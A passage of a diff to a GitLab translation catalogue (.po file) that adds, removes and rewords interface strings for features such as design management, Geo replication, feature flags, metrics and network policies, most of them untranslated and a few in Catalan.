msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr "Color del tipus de lletra"
msgid "Footer message"
msgstr "Missatge a peu de pàgina"
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr "Ajuda"
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] "Instàncies"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr "Peticions de fusió"
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr "S'han creat les peticions de fusió"
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr "Mètriques"
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr "Crea una mètrica"
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr "Mesos"
@@ -15811,12 +16268,45 @@ msgstr "Xarxa"
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
